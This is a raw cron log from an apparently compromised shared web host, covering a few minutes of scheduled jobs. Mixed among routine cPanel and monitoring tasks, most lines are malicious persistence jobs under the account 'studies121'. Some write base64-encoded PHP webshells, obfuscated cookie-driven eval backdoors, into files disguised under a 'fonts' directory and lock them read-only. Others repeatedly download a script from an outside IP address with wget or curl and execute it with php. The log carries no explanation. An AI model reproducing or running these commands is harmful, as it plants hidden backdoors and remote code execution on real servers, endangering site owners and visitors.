Sep 22 05:51:01 ip-184-168-122-23 CROND[30098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:51:01 ip-184-168-122-23 CROND[30099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:52:01 ip-184-168-122-23 CROND[30305]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:52:01 ip-184-168-122-23 CROND[30307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:52:01 ip-184-168-122-23 CROND[30309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:52:01 ip-184-168-122-23 CROND[30310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:52:01 ip-184-168-122-23 CROND[30311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:53:01 ip-184-168-122-23 CROND[30485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:53:01 ip-184-168-122-23 CROND[30487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:53:01 ip-184-168-122-23 CROND[30488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:53:01 ip-184-168-122-23 CROND[30489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:54:01 ip-184-168-122-23 CROND[30622]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:54:01 ip-184-168-122-23 CROND[30624]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:54:01 ip-184-168-122-23 CROND[30626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:54:01 ip-184-168-122-23 CROND[30625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:54:01 ip-184-168-122-23 CROND[30627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:55:01 ip-184-168-122-23 CROND[30768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:55:01 ip-184-168-122-23 CROND[30769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:55:01 ip-184-168-122-23 CROND[30773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:55:01 ip-184-168-122-23 CROND[30775]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 05:55:01 ip-184-168-122-23 CROND[30772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:55:01 ip-184-168-122-23 CROND[30776]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 05:56:01 ip-184-168-122-23 CROND[30906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:56:01 ip-184-168-122-23 CROND[30909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:56:01 ip-184-168-122-23 CROND[30908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:56:01 ip-184-168-122-23 CROND[30907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:56:01 ip-184-168-122-23 CROND[30910]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:57:01 ip-184-168-122-23 CROND[31127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:57:01 ip-184-168-122-23 CROND[31130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:57:01 ip-184-168-122-23 CROND[31131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:57:01 ip-184-168-122-23 CROND[31135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:58:01 ip-184-168-122-23 CROND[31261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:58:01 ip-184-168-122-23 CROND[31262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:58:01 ip-184-168-122-23 CROND[31265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:58:01 ip-184-168-122-23 CROND[31264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:58:01 ip-184-168-122-23 CROND[31267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:59:01 ip-184-168-122-23 CROND[31390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:59:01 ip-184-168-122-23 CROND[31391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:59:01 ip-184-168-122-23 CROND[31392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:59:01 ip-184-168-122-23 CROND[31396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:00:01 ip-184-168-122-23 CROND[31642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:00:01 ip-184-168-122-23 CROND[31643]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 22 06:00:01 ip-184-168-122-23 CROND[31645]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 06:00:01 ip-184-168-122-23 CROND[31646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:00:01 ip-184-168-122-23 CROND[31647]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 06:00:01 ip-184-168-122-23 CROND[31650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:00:01 ip-184-168-122-23 CROND[31653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 06:00:01 ip-184-168-122-23 CROND[31654]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep 22 06:00:01 ip-184-168-122-23 CROND[31656]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:00:01 ip-184-168-122-23 CROND[31658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:01:01 ip-184-168-122-23 CROND[31804]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 06:01:01 ip-184-168-122-23 CROND[31805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:01:01 ip-184-168-122-23 CROND[31808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:01:01 ip-184-168-122-23 CROND[31811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:01:01 ip-184-168-122-23 CROND[31807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:01:01 ip-184-168-122-23 CROND[31812]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31804]: starting 0anacron
Sep 22 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31825]: finished 0anacron
Sep 22 06:02:01 ip-184-168-122-23 CROND[31940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:02:01 ip-184-168-122-23 CROND[31941]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:02:01 ip-184-168-122-23 CROND[31942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:02:01 ip-184-168-122-23 CROND[31939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:02:01 ip-184-168-122-23 CROND[31943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:03:01 ip-184-168-122-23 CROND[32335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:03:01 ip-184-168-122-23 CROND[32336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:03:01 ip-184-168-122-23 CROND[32334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
